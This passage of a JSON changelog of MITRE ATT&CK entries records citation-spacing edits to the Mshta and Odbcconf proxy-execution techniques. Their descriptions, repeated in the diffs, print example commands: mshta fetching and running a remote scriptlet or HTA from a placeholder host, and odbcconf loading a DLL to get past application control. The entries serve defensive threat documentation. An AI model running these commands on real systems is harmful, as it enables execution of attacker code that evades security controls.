                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 20:12:12.385000+00:00\", \"old_value\": \"2026-05-12 15:12:00.676000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code.(Citation: Cylance Dust Storm)(Citation: Red Canary HTA Abuse Part Deux)(Citation: FireEye Attacks Leveraging HTA)(Citation: Airbus Security Kovter Analysis)(Citation: FireEye FIN7 April 2017) \\n\\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files.(Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.(Citation: MSDN HTML Applications)\\n\\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\\\"GetObject(\\\"\\\"script:https[:]//webserver/payload[.]sct\\\"\\\")\\\"))</code>\\n\\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\\n\\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.(Citation: LOLBAS Mshta)\", \"old_value\": \"Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \\n\\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\\n\\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\\\"GetObject(\\\"\\\"script:https[:]//webserver/payload[.]sct\\\"\\\")\\\"))</code>\\n\\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\\n\\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +1,9 @@\\n-Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \\n+Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code.(Citation: Cylance Dust Storm)(Citation: Red Canary HTA Abuse Part Deux)(Citation: FireEye Attacks Leveraging HTA)(Citation: Airbus Security Kovter Analysis)(Citation: FireEye FIN7 April 2017) \\n \\n-Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\\n+Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files.(Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.(Citation: MSDN HTML Applications)\\n \\n Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\\\"GetObject(\\\"\\\"script:https[:]//webserver/payload[.]sct\\\"\\\")\\\"))</code>\\n \\n They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\\n \\n-Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)\\n+Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.(Citation: LOLBAS Mshta)\"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to2__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to2__0\"><a href=\"#difflib_chg_to2__top\">t</a></td><td class=\"diff_header\" id=\"from2_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;mshta.exe&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;of&nbsp;malici</td><td class=\"diff_next\"><a href=\"#difflib_chg_to2__top\">t</a></td><td class=\"diff_header\" id=\"to2_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;mshta.exe&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;of&nbsp;malici</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ous&nbsp;.hta&nbsp;files&nbsp;and&nbsp;Javascript&nbsp;or&nbsp;VBScript&nbsp;through&nbsp;a&nbsp;trusted&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ous&nbsp;.hta&nbsp;files&nbsp;and&nbsp;Javascript&nbsp;or&nbsp;VBScript&nbsp;through&nbsp;a&nbsp;trusted&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Windows&nbsp;utility.&nbsp;There&nbsp;are&nbsp;several&nbsp;examples&nbsp;of&nbsp;different&nbsp;typ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Windows&nbsp;utility.&nbsp;There&nbsp;are&nbsp;several&nbsp;examples&nbsp;of&nbsp;different&nbsp;typ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;of&nbsp;threats&nbsp;leveraging&nbsp;mshta.exe&nbsp;during&nbsp;initial&nbsp;compromise</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;of&nbsp;threats&nbsp;leveraging&nbsp;mshta.exe&nbsp;during&nbsp;initial&nbsp;compromise</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;for&nbsp;execution&nbsp;of&nbsp;code<span class=\"diff_chg\">&nbsp;</span>(Citation:&nbsp;Cylance&nbsp;Dust&nbsp;Storm)<span class=\"diff_sub\">&nbsp;</span>(C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;for&nbsp;execution&nbsp;of&nbsp;code<span class=\"diff_chg\">.</span>(Citation:&nbsp;Cylance&nbsp;Dust&nbsp;Storm)(Ci</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Red&nbsp;Canary&nbsp;HTA&nbsp;Abuse&nbsp;Part&nbsp;Deux)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;FireEye&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;Red&nbsp;Canary&nbsp;HTA&nbsp;Abuse&nbsp;Part&nbsp;Deux)(Citation:&nbsp;FireEye&nbsp;At</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Attacks&nbsp;Leveraging&nbsp;HTA)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Airbus&nbsp;Security&nbsp;Kovter&nbsp;An</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tacks&nbsp;Leveraging&nbsp;HTA)(Citation:&nbsp;Airbus&nbsp;Security&nbsp;Kovter&nbsp;Analy</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alysis)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;FireEye&nbsp;FIN7&nbsp;April&nbsp;2017)&nbsp;&nbsp;&nbsp;Mshta.exe&nbsp;is&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sis)(Citation:&nbsp;FireEye&nbsp;FIN7&nbsp;April&nbsp;2017)&nbsp;&nbsp;&nbsp;Mshta.exe&nbsp;is&nbsp;a&nbsp;uti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;utility&nbsp;that&nbsp;executes&nbsp;Microsoft&nbsp;HTML&nbsp;Applications&nbsp;(HTA)&nbsp;fil</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lity&nbsp;that&nbsp;executes&nbsp;Microsoft&nbsp;HTML&nbsp;Applications&nbsp;(HTA)&nbsp;files.(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Wikipedia&nbsp;HTML&nbsp;Application)&nbsp;HTAs&nbsp;are&nbsp;standalo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Citation:&nbsp;Wikipedia&nbsp;HTML&nbsp;Application)&nbsp;HTAs&nbsp;are&nbsp;standalone&nbsp;ap</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ne&nbsp;applications&nbsp;that&nbsp;execute&nbsp;using&nbsp;the&nbsp;same&nbsp;models&nbsp;and&nbsp;techn</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">plications&nbsp;that&nbsp;execute&nbsp;using&nbsp;the&nbsp;same&nbsp;models&nbsp;and&nbsp;technologi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ologies&nbsp;of&nbsp;Internet&nbsp;Explorer,&nbsp;but&nbsp;outside&nbsp;of&nbsp;the&nbsp;browser.<span class=\"diff_sub\">&nbsp;</span>(C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;of&nbsp;Internet&nbsp;Explorer,&nbsp;but&nbsp;outside&nbsp;of&nbsp;the&nbsp;browser.(Citatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;MSDN&nbsp;HTML&nbsp;Applications)&nbsp;&nbsp;Files&nbsp;may&nbsp;be&nbsp;executed&nbsp;by&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;MSDN&nbsp;HTML&nbsp;Applications)&nbsp;&nbsp;Files&nbsp;may&nbsp;be&nbsp;executed&nbsp;by&nbsp;mshta.e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shta.exe&nbsp;through&nbsp;an&nbsp;inline&nbsp;script:&nbsp;&lt;code&gt;mshta&nbsp;vbscript:Clos</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xe&nbsp;through&nbsp;an&nbsp;inline&nbsp;script:&nbsp;&lt;code&gt;mshta&nbsp;vbscript:Close(Exec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sct\"\")\"))&lt;/code&gt;&nbsp;&nbsp;They&nbsp;may&nbsp;also&nbsp;be&nbsp;executed&nbsp;directly&nbsp;from&nbsp;UR</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">\"))&lt;/code&gt;&nbsp;&nbsp;They&nbsp;may&nbsp;also&nbsp;be&nbsp;executed&nbsp;directly&nbsp;from&nbsp;URLs:&nbsp;&lt;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Ls:&nbsp;&lt;code&gt;mshta&nbsp;http[:]//webserver/payload[.]hta&lt;/code&gt;&nbsp;&nbsp;Msh</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;mshta&nbsp;http[:]//webserver/payload[.]hta&lt;/code&gt;&nbsp;&nbsp;Mshta.exe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ta.exe&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;bypass&nbsp;application&nbsp;control&nbsp;solutions&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;bypass&nbsp;application&nbsp;control&nbsp;solutions&nbsp;that&nbsp;do</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hat&nbsp;do&nbsp;not&nbsp;account&nbsp;for&nbsp;its&nbsp;potential&nbsp;use.&nbsp;Since&nbsp;mshta.exe&nbsp;ex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;not&nbsp;account&nbsp;for&nbsp;its&nbsp;potential&nbsp;use.&nbsp;Since&nbsp;mshta.exe&nbsp;executes</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecutes&nbsp;outside&nbsp;of&nbsp;the&nbsp;Internet&nbsp;Explorer's&nbsp;security&nbsp;context,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;outside&nbsp;of&nbsp;the&nbsp;Internet&nbsp;Explorer's&nbsp;security&nbsp;context,&nbsp;it&nbsp;als</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">it&nbsp;also&nbsp;bypasses&nbsp;browser&nbsp;security&nbsp;settings.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;LOLBA</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;bypasses&nbsp;browser&nbsp;security&nbsp;settings.(Citation:&nbsp;LOLBAS&nbsp;Mshta</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">S&nbsp;Mshta)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1038: Execution Prevention",
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0506: Detecting Mshta-based Proxy Execution via Suspicious HTA or Script Invocation"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-24 15:01:32.917000+00:00",
                    "modified": "2026-11-04 00:43:55.846000+00:00",
                    "name": "Odbcconf",
                    "description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \"C:\\Users\\Public\\file.dll\"&rbrace;</code>).(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1218/008",
                            "external_id": "T1218.008"
                        },
                        {
                            "source_name": "TrendMicro Squiblydoo Aug 2017",
                            "description": "Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019.",
                            "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/"
                        },
                        {
                            "source_name": "TrendMicro Cobalt Group Nov 2017",
                            "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
                            "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/"
                        },
                        {
                            "source_name": "LOLBAS Odbcconf",
                            "description": "LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.",
                            "url": "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/"
                        },
                        {
                            "source_name": "Microsoft odbcconf.exe",
                            "description": "Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019.",
                            "url": "https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:43:55.846000+00:00\", \"old_value\": \"2026-05-12 15:12:00.640000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\\n\\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \\\"C:\\\\Users\\\\Public\\\\file.dll\\\"&rbrace;</code>).(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \\n\", \"old_value\": \"Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\\n\\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \\\"C:\\\\Users\\\\Public\\\\file.dll\\\"&rbrace;</code>). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \\n\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\\n \\n-Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \\\"C:\\\\Users\\\\Public\\\\file.dll\\\"&rbrace;</code>). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \\n+Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \\\"C:\\\\Users\\\\Public\\\\file.dll\\\"&rbrace;</code>).(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to100__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to100__0\"><a href=\"#difflib_chg_to100__top\">t</a></td><td class=\"diff_header\" id=\"from100_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;odbcconf.exe&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;of&nbsp;mal</td><td class=\"diff_next\"><a href=\"#difflib_chg_to100__top\">t</a></td><td class=\"diff_header\" id=\"to100_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;odbcconf.exe&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;of&nbsp;mal</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icious&nbsp;payloads.&nbsp;Odbcconf.exe&nbsp;is&nbsp;a&nbsp;Windows&nbsp;utility&nbsp;that&nbsp;allo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icious&nbsp;payloads.&nbsp;Odbcconf.exe&nbsp;is&nbsp;a&nbsp;Windows&nbsp;utility&nbsp;that&nbsp;allo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws&nbsp;you&nbsp;to&nbsp;configure&nbsp;Open&nbsp;Database&nbsp;Connectivity&nbsp;(ODBC)&nbsp;driver</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws&nbsp;you&nbsp;to&nbsp;configure&nbsp;Open&nbsp;Database&nbsp;Connectivity&nbsp;(ODBC)&nbsp;driver</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;and&nbsp;data&nbsp;source&nbsp;names.(Citation:&nbsp;Microsoft&nbsp;odbcconf.exe)&nbsp;T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;and&nbsp;data&nbsp;source&nbsp;names.(Citation:&nbsp;Microsoft&nbsp;odbcconf.exe)&nbsp;T</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;Odbcconf.exe&nbsp;binary&nbsp;may&nbsp;be&nbsp;digitally&nbsp;signed&nbsp;by&nbsp;Microsoft.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;Odbcconf.exe&nbsp;binary&nbsp;may&nbsp;be&nbsp;digitally&nbsp;signed&nbsp;by&nbsp;Microsoft.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;odbcconf.exe&nbsp;to&nbsp;bypass&nbsp;application&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;odbcconf.exe&nbsp;to&nbsp;bypass&nbsp;application&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ontrol&nbsp;solutions&nbsp;that&nbsp;do&nbsp;not&nbsp;account&nbsp;for&nbsp;its&nbsp;potential&nbsp;abuse</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ontrol&nbsp;solutions&nbsp;that&nbsp;do&nbsp;not&nbsp;account&nbsp;for&nbsp;its&nbsp;potential&nbsp;abuse</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.&nbsp;Similar&nbsp;to&nbsp;[Regsvr32](https://attack.mitre.org/techniques/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.&nbsp;Similar&nbsp;to&nbsp;[Regsvr32](https://attack.mitre.org/techniques/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">T1218/010),&nbsp;odbcconf.exe&nbsp;has&nbsp;a&nbsp;&lt;code&gt;REGSVR&lt;/code&gt;&nbsp;flag&nbsp;that</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">T1218/010),&nbsp;odbcconf.exe&nbsp;has&nbsp;a&nbsp;&lt;code&gt;REGSVR&lt;/code&gt;&nbsp;flag&nbsp;that</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;can&nbsp;be&nbsp;misused&nbsp;to&nbsp;execute&nbsp;DLLs&nbsp;(ex:&nbsp;&lt;code&gt;odbcconf.exe&nbsp;/S&nbsp;/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;can&nbsp;be&nbsp;misused&nbsp;to&nbsp;execute&nbsp;DLLs&nbsp;(ex:&nbsp;&lt;code&gt;odbcconf.exe&nbsp;/S&nbsp;/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">A&nbsp;&amp;lbrace;REGSVR&nbsp;\"C:\\Users\\Public\\file.dll\"&amp;rbrace;&lt;/code&gt;).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">A&nbsp;&amp;lbrace;REGSVR&nbsp;\"C:\\Users\\Public\\file.dll\"&amp;rbrace;&lt;/code&gt;).</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;LOLBAS&nbsp;Odbcconf)(Citation:&nbsp;TrendMicro&nbsp;Squiblydoo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;LOLBAS&nbsp;Odbcconf)(Citation:&nbsp;TrendMicro&nbsp;Squiblydoo&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Aug&nbsp;2017)(Citation:&nbsp;TrendMicro&nbsp;Cobalt&nbsp;Group&nbsp;Nov&nbsp;2017)&nbsp;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Aug&nbsp;2017)(Citation:&nbsp;TrendMicro&nbsp;Cobalt&nbsp;Group&nbsp;Nov&nbsp;2017)&nbsp;&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1038: Execution Prevention",
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0486: Detecting Odbcconf Proxy Execution of Malicious DLLs"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
